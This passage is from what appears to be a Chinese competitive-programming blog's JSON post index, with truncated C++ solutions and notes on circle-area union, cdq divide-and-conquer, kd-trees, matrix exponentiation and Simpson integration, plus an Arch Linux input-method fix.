ULL; 29typedef vector \u003cint\u003e VI; 30const int INF = 0x3f3f3f3f; 31const double eps = 1e-6; 32const int MAXN = 1E3+7; 33const double PI = acos(-1.0); 34#define sqr(x) ((x)*(x)) 35const int N = 1010; 36double area[N]; 37int n,k; 38double Z[N]; 39double W,S; 40 41 42int dblcmp(double d){ return d\u003c-eps?-1:d\u003eeps;} 43struct point 44{ 45 double x,y; 46 double ang; 47 int d; 48 point(){} 49 point(double x,double y):x(x),y(y){} 50 point(double _x,double _y,double _ang,int _d) 51 { 52 x = _x; 53 y = _y; 54 ang = _ang; 55 d = _d; 56 } 57 void input(){scanf(\"%lf%lf\",\u0026x,\u0026y);} 58 double angle(){ return atan2(y,x);} 59 point operator + (const point \u0026rhs)const{ return point(x+rhs.x,y+rhs.y);} 60 point operator - (const point \u0026rhs)const{ return point(x-rhs.x,y-rhs.y);} 61 point operator * (double t)const{ return point(t*x,t*y);} 62 point operator / (double t)const{ return point(x/t,y/t);} 63 double length() const { retu","date":"2017-10-12","externalUrl":null,"permalink":"/2017/10/uvalive-7675/","section":"Posts","summary":"题目链接 题意： # 在一个二维平面上，有n个加热设备，每个加热设备加热一个圆形，加热设备需要信号源才可以工作，信号源在原点上，但是高度不确定。假设设备的加热半径是一个与{信号源与设备的距离}有关的表达式。现在想要满足，至少有k个加热设备加热的面积大于s，问信号源的最高高度是多少。","tags":["binary search","计算几何"],"title":"uvalive 7675 | 2016 北京 regional onsite H - A New Ground Heating Device （二分+多个圆面积并）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意\u0026思路： # 给出n个圆 求恰好k个圆相交的面积，k属于1..n 先放个别人的代码。。。 我真是体会到了。。。软件工程这门课的重要性。。。 这代码真是烂得印象深刻。。。几何题全是面向过程？ circle和point 类写在一起。。。感觉所有糟糕的写法这份代码全都占了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月11日 星期三 19时53分30秒 4File Name :ciru.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29 30typedef long long LL; 31typedef unsigned long long ULL; 32typedef vector \u003cint\u003e VI; 33const int INF = 0x3f3f3f3f; 34const double eps = 1e-10; 35const int MOD = 100000007; 36const int MAXN = 1E3+7; 37const double PI = acos(-1.0); 38#define sqr(x) ((x)*(x)) 39const int N = 1010; 40double area[N]; 41int n; 42 43int dcmp(double x) 44{ 45 if (x \u003c -eps) return -1; 46 else return x \u003e eps; 47} 48 49struct cp 50{ 51 double x, y, r, angle; 52 int d; 53 cp() {} 54 cp(double xx, double yy, double ang = 0, int t = 0) 55 { 56 x = xx; 57 y = yy; 58 angle = ang; 59 d = t; 60 } 61 void get() 62 { 63 scanf(\"%lf%lf%lf\", \u0026x, \u0026y, \u0026r); 64 d = 1; 65 } 66} cir[N], tp[N * 2]; 67 68double dis(cp a, cp b) 69{ 70 return sqrt(sqr(a.x - b.x) + sqr(a.y - b.y)); 71} 72 73double cross(cp p0, cp p1, cp p2) 74{ 75 return (p1.x - p0.x) * (p2.y - p0.y) - (p1.y - p0.y) * (p2.x - p0.x); 76} 77 78int CirCrossCir(cp p1, double r1, cp p2, double r2, cp \u0026cp1, cp \u0026cp2) 79{ 80 double mx = p2.x - p1.x, sx = p2.x + p1.x, mx2 ","date":"2017-10-12","externalUrl":null,"permalink":"/2017/10/spoj-cirut/","section":"Posts","summary":"题目链接 题意\u0026思路： # 给出n个圆","tags":["计算几何"],"title":"SPOJ CIRUT - CIRU2  (多个圆交，求交任意次的面积，模板题)","type":"post"},{"categories":["其他"],"content":"[已解决]最近两个版本的 chrome（aura界面）有两个问题 https://github.com/fcitx/fcitx/issues/197 解决办法： 安装fcitx-im 包即可","date":"2017-10-11","externalUrl":null,"permalink":"/2017/10/manjaro-fcitx-drop-chinese-words-randomly/","section":"Posts","summary":"[已解决]最近两个版本的 chrome（aura界面）有两个问题 https://github.com/fcitx/fcitx/issues/197 解决办法： 安装fcitx-im 包即可","tags":["archlinux"],"title":"archlinux/manjaro  fcitx 与 chrome 不兼容  中文掉字 解决办法","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 多n个圆的面积并。 思路： # 发现和求2个圆的完全不一样，具体请参考 SPOJ 8073 The area of the union of circles（计算几何の圆并）（CIRU） 圆的面积并 格林公式在面积并问题中的应用 （用格林公式搞真是跪烂了。。。。 没有仔细看细节，当成板子好了(我最菜.jpg 将代码写成了自己熟悉的风格。 以及双倍经验题:SPOJ VCIRCLES 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月11日 星期三 19时53分30秒 4File Name :ciru.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const double PI = acos(-1.0); 35const int N =1e3+7; 36inline int dblcmp( double d) { return d\u003c-eps?-1:d\u003eeps;} 37struct point 38{ 39 double x,y; 40 point(){} 41 point(double x,double y):x(x),y(y){} 42 void input(){scanf(\"%lf%lf\",\u0026x,\u0026y);} 43 double angle(){ return atan2(y,x);} 44 point operator + (const point \u0026rhs)const{ return point(x+rhs.x,y+rhs.y);} 45 point operator - (const point \u0026rhs)const{ return point(x-rhs.x,y-rhs.y);} 46 point operator * (double t)const{ return point(t*x,t*y);} 47 point operator / (double t)const{ return point(x/t,y/t);} 48 double length() const { return sqrt(x*x+y*y);}; 49 point unit()const { double l = length();return point(x/l,y/l); } 50}; 51double cross (const point a,point b){ return a.x*b.y-a.y*b.x ;} 52double dist(const point p1,point p2) { return (p1-","date":"2017-10-11","externalUrl":null,"permalink":"/2017/10/spoj-ciru/","section":"Posts","summary":"题目链接 题意： # 多n个圆的面积并。","tags":["计算几何"],"title":"spoj CIRU - The area of the union of circles  (多个圆面积并，模板题)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意: # If two point such as (xi,yi,zi) and (xj,yj,zj) xi≥xj yi≥yj zi≥zj, the bigger one level add 1 问每个point的level是多少。 思路： # cdq分治，先去重并统计相同的点的数量，需要注意要记录原id对应到了哪个新id 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月10日 星期二 19时53分38秒 4File Name :5618.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35int n; 36struct point 37{ 38 int x,y,z; 39 int id; 40 int cnt,sum; 41 void input( int _id) 42 { 43 scanf(\"%d %d %d\",\u0026x,\u0026y,\u0026z); 44 id=_id; 45 } 46 bool operator \u003c (const point \u0026b)const 47 { 48 if (x!=b.x) return x\u003cb.x; 49 if (y!=b.y) return y\u003cb.y; 50 return z\u003cb.z; 51 } 52 bool operator !=(const point \u0026b)const 53 { 54 return x!=b.x||y!=b.y||z!=b.z; 55 } 56}p[N]; 57struct BIT 58{ 59 int n,t[N]; 60 void init( int _n) 61 { 62 n = _n; 63 ms(t,0); 64 } 65 inline int lowbit(int x){ return x\u0026(-x);} 66 void update( int x,int delta) 67 { 68 for ( int i = x ; i \u003c= n ; i+=lowbit(i)) t[i] +=delta; 69 } 70 int Sum( int x) 71 { 72 int ret = 0 ; 73 for ( int i = x ; i \u003e=1 ; i-=lowbit(i)) ret+=t[i]; 74 return ret; 75 } 76}bit; 77bool cmpcdq(point a,point b){return a.y\u003cb.y;} 78bool cmpid(point a,point b){return a.i","date":"2017-10-10","externalUrl":null,"permalink":"/2017/10/hdu-5618/","section":"Posts","summary":"题目链接 题意: # If two point such as (xi,yi,zi) and (xj,yj,zj) xi≥xj yi≥yj zi≥zj, the bigger one level add 1","tags":["cdq分治","树状数组"],"title":"hdu 5618 Jam's problem again （cdq分治+BIT，三维偏序）","type":"post"},{"categories":["ACM"],"content":"Description # 有n朵花，每朵花有三个属性：花形(s)、颜色(c)、气味(m)，又三个整数表示。现要对每朵花评级，一朵花的级别是它拥有的美丽能超过的花的数量。定义一朵花A比另一朵花B要美丽，当且仅当Sa\u003e=Sb,Ca\u003e=Cb,Ma\u003e=Mb。显然，两朵花可能有同样的属性。需要统计出评出每个等级的花的数量。 Input # 第一行为N,K (1 \u003c= N \u003c= 100,000, 1 \u003c= K \u003c= 200,000 ), 分别表示花的数量和最大属性值。 以下N行，每行三个整数si, ci, mi (1 \u003c= si, ci, mi \u003c= K)，表示第i朵花的属性 Output # 包含N行，分别表示评级为0…N-1的每级花的数量。 Sample Input # 10 3 3 3 3 2 3 3 2 3 1 3 1 1 3 1 2 1 3 1 1 1 2 1 2 2 1 3 2 1 2 1 Sample Output # 3 1 3 0 1 0 1 0 0 1 HINT # 1 \u003c= N \u003c= 100,000, 1 \u003c= K \u003c= 200,000 思路： 第一发cdq分治，果然很好写。 cdq分治学习笔记 题目很裸，好像没什么好分析的。 代码风格的话，我是看lwt菊苣代码长大的 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月10日 星期二 18时35分53秒 4File Name :3262.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35const int M=2E5+7; 36int n,k; 37int ans[N]; 38struct Point 39{ 40 int x,y,z; 41 int cnt,sum; 42 bool operator \u003c ( const Point \u0026b)const 43 { 44 if (x!=b.x) return x\u003cb.x; 45 if (y!=b.y) return y\u003cb.y; 46 return z\u003cb.z; 47 } 48 bool operator == (const Point \u0026p)const 49 { 50 return x==p.x\u0026\u0026y==p.y\u0026\u0026z==p.z; 51 } 52}p[N]; 53struct BIT 54{ 55 int n,t[M]; 56 void init(int _n) 57 { 58 n=_n; 59 ms(t,0); 60 } 61 int lowbit( int x){ retur","date":"2017-10-10","externalUrl":null,"permalink":"/2017/10/bzoj-3262/","section":"Posts","summary":"Description # 有n朵花，每朵花有三个属性：花形(s)、颜色(c)、气味(m)，又三个整数表示。现要对每朵花评级，一朵花的级别是它拥有的美丽能超过的花的数量。定义一朵花A比另一朵花B要美丽，当且仅当Sa\u003e=Sb,Ca\u003e=Cb,Ma\u003e=Mb。显然，两朵花可能有同样的属性。需要统计出评出每个等级的花的数量。","tags":["cdq分治","树状数组"],"title":"BZOJ 3262: 陌上花开 (cdq分治模板题，三维偏序)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 给f[1],f[2],n,f[i] = 2*f[i-2] + f[i-1] + i^4,求f[n]的值。 思路： # 很容易想到矩阵，但是i^4不是线性的差评，我们可以拆一下 i^4=(i-1+1)^4,然后二项式展开即可 i^4=(i-1)^4 + 4*(i-1)^3 + 6(i-1)^2 + 4(i-1) + 1 所以为了维护i^4这一项，需要(i-1)^4,(i-1)^3,(i-1)^2,(i-1),1, 再加上f[i-1]和f[i-2]两项，一共7项。 然后构造矩阵为 16沈阳 onsite的题，当时好像写了一个小时，现在看来，果然是个人尽皆知的傻逼题orz 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月10日 星期二 17时38分11秒 4File Name :5950.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=7; 35const LL MOD =2147493647LL; 36LL a,b,n; 37struct Mat 38{ 39 LL mat[N][N]; 40 void clear() 41 { 42 ms(mat,0); 43 } 44 void print() 45 { 46 for ( int i = 0 ; i \u003c N; i++) 47 for ( int j = 0 ; j \u003c N ; j++) 48 printf(\"%lld%c\",mat[i][j],j==N-1?'\\n':' '); 49 puts(\"\"); 50 } 51}M,M1; 52Mat operator * (Mat a,Mat b) 53{ 54 Mat c; 55 c.clear(); 56 for ( int i = 0 ; i \u003c N ; i++) 57 for ( int j = 0 ; j \u003c N ; j++) 58 for ( int k = 0 ; k \u003c N ; k++) 59 c.mat[i][j] = (c.mat[i][j] + a.mat[i][k] * b.mat[k][j]%MOD)%MOD; 60 return c; 61} 62Mat operator ^ (Mat a,LL b) 63{ 64 Mat res; 65 res.clear(); 66 for ( int i = 0 ; i \u003c N ; i++) res.mat[i][i] = 1; 67 while (b\u003e0) 68 { 69 if (b\u00261) res = res * a","date":"2017-10-10","externalUrl":null,"permalink":"/2017/10/hdu-5950/","section":"Posts","summary":"题目链接 题意： # 给f[1],f[2],n,f[i] = 2*f[i-2] + f[i-1] + i^4,求f[n]的值。","tags":["构造","矩阵快速幂"],"title":"hdu 5950 Recursive sequence (构造矩阵，快速幂)","type":"post"},{"categories":["ACM"],"content":"起因是队里的大佬们都会这东西，而我一个老年选手竟然还不会，实在说不过去。 cdq分治显然是分治的一种，cdq的意思就是超短裙啦（ 这东西网上资料很多（然而还是学不会 先放一波资料： 资料1 【教程】简易CDQ分治教程\u0026学习笔记 [偏序关系与CDQ分治]【学习笔记】 学习笔记——cdq分治 [学习笔记] CDQ分治 从感性理解到彻底晕菜 lwt菊苣的博客 下面转自lwt菊苣的博客，豁然开朗。 1 * 与普通分治的区别 普通分治中，每一个子问题只解决它本身（可以说是封闭的） CDQ分治中，对于划分出来的两个子问题，前一个子问题用来解决后一个子问题而不是它本身 1 * 适用的情况 在很多问题中（比如大多数数据结构题），经常需要处理一些动态问题 然而对动态问题的处理总是不如静态问题来的方便，于是就有了CDQ分治 但使用CDQ分治的前提是问题必须具有以下两个性质： 1 * 修改操作对询问的贡献独立，修改操作互不影响效果 2 * 题目允许使用离线算法。 3 4 5 * 一般步骤 6 7 * 将整个操作序列分为两个长度相等的部分（分） 8 * 递归处理前一部分的子问题（治1） 9 * 计算前一部分的子问题中的修改操作对后一部分子问题的影响（治2） 10 * 递归处理后一部分子问题（治3） 特别说明： 在整个过程中，最核心的就是步骤3 此时前一部分子问题中的修改操作相对后一部分子问题来说是静态处理，因此可以更加方便地计算后一部分子问题 cdq分治求三维偏序美滋滋 一般是，第一维排序，第二维cdq,第三维套一层数据结构（不然的话就要数据结构套数据结构啦差评 cdq的复杂度和分治的复杂度一样也是O(nlgn),所以可以理解成cdq可以一层数据结构？因为比树套树之类好写，所以有广泛应用（？","date":"2017-10-10","externalUrl":null,"permalink":"/2017/10/cdq-divide-notes/","section":"Posts","summary":"起因是队里的大佬们都会这东西，而我一个老年选手竟然还不会，实在说不过去。","tags":["cdq分治"],"title":"cdq分治学习笔记","type":"post"},{"categories":["ACM"],"content":"Description # 这天，SJY显得无聊。在家自己玩。在一个棋盘上，有N个黑色棋子。他每次要么放到棋盘上一个黑色棋子，要么放上一个白色棋子，如果是白色棋子，他会找出距离这个白色棋子最近的黑色棋子。此处的距离是 曼哈顿距离 即(|x1-x2|+|y1-y2|) 。现在给出N\u003c=500000个初始棋子。和M\u003c=500000个操作。对于每个白色棋子，输出距离这个白色棋子最近的黑色棋子的距离。同一个格子可能有多个棋子。 Input # 第一行两个数 N M 以后M行，每行3个数 t x y 如果t=1 那么放下一个黑色棋子 如果t=2 那么放下一个白色棋子 Output # 对于每个T=2 输出一个最小距离 Sample Input # 2 3 1 1 2 3 2 1 2 1 3 3 2 4 2 Sample Output # 1 2 其实就是BZOJ2716 的双倍经验题 写出来是因为，这道题要加输入挂才可以过orz 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月10日 星期二 13时35分26秒 4File Name :2716.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const LL linf = 1LL\u003c\u003c60; 35const int N=5E5+7; 36int n,m; 37int idx,rt; 38LL ans; 39LL getLL() { 40 LL k = 0, fh = 1; char c = getchar(); 41 for(; c \u003c '0' || c \u003e '9'; c = getchar()) 42 if (c == '-') fh = -1; 43 for(; c \u003e= '0' \u0026\u0026 c \u003c= '9'; c = getchar()) 44 k = k * 10 + c - '0'; 45 return k * fh; 46} 47struct KDT 48{ 49 LL coor[2]; 50 LL mn[2],mx[2]; //需要维护四个方向的最值，是因为是曼哈顿距离。 51 int son[2]; 52 bool operator \u003c (const KDT \u0026u)const{ return coor[idx]\u003cu.coor[idx];} 53 void init() { for ( int i = 0 ; i \u003c 2 ;i++) mn[i]=mx[i]=coor[i];} 54 void input() { for ( int i = 0 ; i \u003c 2 ; i++) c","date":"2017-10-10","externalUrl":null,"permalink":"/2017/10/bzoj2648/","section":"Posts","summary":"Description # 这天，SJY显得无聊。在家自己玩。在一个棋盘上，有N个黑色棋子。他每次要么放到棋盘上一个黑色棋子，要么放上一个白色棋子，如果是白色棋子，他会找出距离这个白色棋子最近的黑色棋子。此处的距离是 曼哈顿距离 即(|x1-x2|+|y1-y2|) 。现在给出N\u003c=500000个初始棋子。和M\u003c=500000个操作。对于每个白色棋子，输出距离这个白色棋子最近的黑色棋子的距离。同一个格子可能有多个棋子。","tags":["kd-tree","输入挂"],"title":"BZOJ 2648: SJY摆棋子 (动态kd-tree,插入，曼哈顿距离,输入挂)","type":"post"},{"categories":["ACM"],"content":"题目链接 # Description # Input # Output # 样例太长了，就不写了。 题意是说，现在有n个在二维平面，m个操作，2种类型，一种是加入一个点，另一种是对于一个定点，询问距离其最近的点的距离。 动态kd-tree的模板题，带插入操作。 插入其实就是直接暴力插的。 需要注意的是，这道题的距离度量是曼哈顿距离，略麻烦。 对于每个点，我们需要维护四个方向的极值。也就是kd-tree中某个节点所代表的空间，能管到的上下左右的最大（最小）坐标。 题解参考了iwtwiioi大爷的博客 代码风格参考了【bzoj 2716】[Violet 3]天使玩偶a 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月10日 星期二 13时35分26秒 4File Name :2716.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const LL linf = 1LL\u003c\u003c60; 35const int N=5E5+7; 36int n,m; 37int idx,rt; 38LL ans; 39struct KDT 40{ 41 LL coor[2]; 42 LL mn[2],mx[2]; //需要维护四个方向的最值，是因为是曼哈顿距离。 43 int son[2]; 44 bool operator \u003c (const KDT \u0026u)const{ return coor[idx]\u003cu.coor[idx];} 45 void init() { for ( int i = 0 ; i \u003c 2 ;i++) mn[i]=mx[i]=coor[i];} 46 void input() { for ( int i = 0 ; i \u003c 2 ; i++) scanf(\"%lld\",\u0026coor[i]);} 47}v[N\u003c\u003c1],tar; //开一倍空间是因为可能全都是插点。 48inline LL getDis(KDT a,KDT b) {return abs(a.coor[0]-b.coor[0]) + abs(a.coor[1]-b.coor[1]);} 49void up( int x) 50{ 51 for ( int i = 0 ; i \u003c 2 ; i++) if (v[x].son[i]){ 52 int y =v[x].son[i]; 53 for (int j = 0 ; j \u003c 2 ; j++) 54 v[x].mn[j]=min(v[x].mn[j],v[y].mn[j]),v[x].mx[j]=max(v[x].mx[j]","date":"2017-10-10","externalUrl":null,"permalink":"/2017/10/bzoj2716/","section":"Posts","summary":"题目链接 # Description # Input # Output # 样例太长了，就不写了。","tags":["kd-tree","曼哈顿距离"],"title":"BZOJ 2716: [Violet 3]天使玩偶 (动态kd-tree,带插入，曼哈顿距离模板题)","type":"post"},{"categories":["ACM"],"content":"hdu1724题目链接 题意： # 求图示区域的面积。 思路： # 辛普森积分学习笔记 容易推出被积函数为 f(x)=b_sqrt(1-(x_x/a/a)); 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月09日 星期一 21时09分36秒 4File Name :1724.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-10; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34double a,b,l,r; 35double dblcmp(double d){ return d\u003c-eps?-1:d\u003eeps;} 36double f(double x) 37{ 38 double ret; 39 ret = sqrt((1-(x*x/a/a))*b*b); 40 return ret; 41} 42double simpson(double l,double r) 43{ 44 return (r-l)*(f(l) + f(r) + 4*f((l+r)*0.5))/6; 45} 46double di( double l,double r) 47{ 48 //cout\u003c\u003c\"l:\"\u003c\u003cl\u003c\u003c\" r:\"\u003c\u003cr\u003c\u003cendl; 49 double m = (l+r)*0.5; 50 double ans = simpson(l,r); 51 if (dblcmp(ans-simpson(l,m)-simpson(m,r))==0) return ans; 52 return di(l,m) + di(m,r); 53} 54int main() 55{ 56 #ifndef ONLINE_JUDGE 57 freopen(\"./in.txt\",\"r\",stdin); 58 #endif 59 int T; 60 cin\u003e\u003eT; 61 while (T--) 62 { 63 scanf(\"%lf %lf %lf %lf\",\u0026a,\u0026b,\u0026l,\u0026r); 64 double ans = di (l,r)*2.0; 65 printf(\"%.3f\\n\",ans); 66 } 67 68 69 70 #ifndef ONLINE_JUDGE 71 fclose(stdin); 72 #endif 73 return 0; 74}","date":"2017-10-09","externalUrl":null,"permalink":"/2017/10/hdu-1724/","section":"Posts","summary":"hdu1724题目链接 题意： # 求图示区域的面积。","tags":["数值计算方法","计算几何","辛普森积分"],"title":"hdu 1724 Ellipse (辛普森积分模板题)","type":"post"},{"categories":["ACM"],"content":"16沈阳的阴影还在orz，来学习一下辛普森积分。 参考资料：梯形多步法和辛普森积分 辛普森计算定积分 辛普森积分是一种数值积分方法（然后现在只记得教计算方法的是一个小姐姐，并不记得当时学了什么orz 大概就是用梯形近似计算曲边梯形面积，辛普森积分公式如下： 下面放代码： 1double f(double x){return sin(x)*x;}//这是被积函数 2double simpson(double l,double r){return (r-l)*(f(l)+f(r)+4*f((l+r)/2))/6;} 3double di(double l,double r){//越二分以得到更精确的结果 4 double m=(l+r)/2; 5 double ans=simpson(l,r); 6 if(sgn(ans-simpson(l,m)-simpson(m,r))==0)return ans; //在误差之内 7 return di(l,m)+di(m,r); //不再误差之内就继续将区间缩小 8} 切了个练手题，慢慢补充总结。 需要注意的是，simpson对精度要求比较高。。。eps开到1E-10才过。。 hdu1724题目链接 hdu1724解题报告 所以问题就在于写出积分公式（如果是多重积分要变成累次积分？orz)","date":"2017-10-09","externalUrl":null,"permalink":"/2017/10/Simpsons-rule-notes/","section":"Posts","summary":"16沈阳的阴影还在orz，来学习一下辛普森积分。 参考资料：梯形多步法和辛普森积分 辛普森计算定积分 辛普森积分是一种数值积分方法（然后现在只记得教计算方法的是一个小姐姐，并不记得当时学了什么orz","tags":["数值计算方法","计算几何","辛普森积分"],"title":"辛普森积分学习笔记","type":"post"},{"categories":["ACM"],"content":"题目链接 题意： # 给出若干个点，在给出一个定点，求距离该定点最近的m个点。 思路： # 我们已经知道kd-tree可以得到最近邻，实际上M近邻，只需要维护一个size为M的优先队列就可以了。 需要注意，优先队列的元素一定要先定义小于关系orz 以及这次采用了轮盘转的策略划分维度，也就是按照深度，所有维度轮流作为split-method（实际用起来效果还是挺棒的orz 1/* *********************************************** 2Author :111qqz 3Created Time :2017年10月08日 星期日 23时18分42秒 4File Name :4347.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define PB push_back 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=5E4+7; 35const int M = 10; 36int n,m,k,t; 37int idx; 38struct Point 39{ 40 LL coor[M]; 41 int id; 42 void print() 43 { 44 for ( int i = 1 ; i \u003c= k ; i++) 45 printf(\"%lld%c\",coor[i],i==k?'\\n':' '); 46 } 47 bool operator \u003c (const Point \u0026u)const 48 { 49 return coor[idx]\u003cu.coor[idx]; 50 } 51}po[N]; 52typedef pair\u003c LL,Point \u003ePI; 53priority_queue\u003c PI \u003epq; //用优先队列一定要定义小于关系啊orz...我怎么这么傻 54struct KdTree 55{ 56 Point p[N\u003c\u003c2]; 57 bool leaf[N\u003c\u003c2]; 58 void build ( int l,int r, int rt = 1,int dep=0) 59 { 60 if (l\u003er) return; 61 leaf[rt] = false; 62 leaf[rt\u003c\u003c1] = leaf[rt\u003c\u003c1|1] = true; 63 idx = dep % k; 64 int mid = (l+r)\u003e\u003e1; 65 nth_element(po+l,po+mid,po+r+1); 66 p[rt] = po[mid]; 67 build(l,mid-1, rt\u003c\u003c1,dep+1); 68 build(mid+1,r,rt\u003c\u003c1|1,dep+1); 69 } 70 void query(Point tar,int rt=1,int dep=0) 71 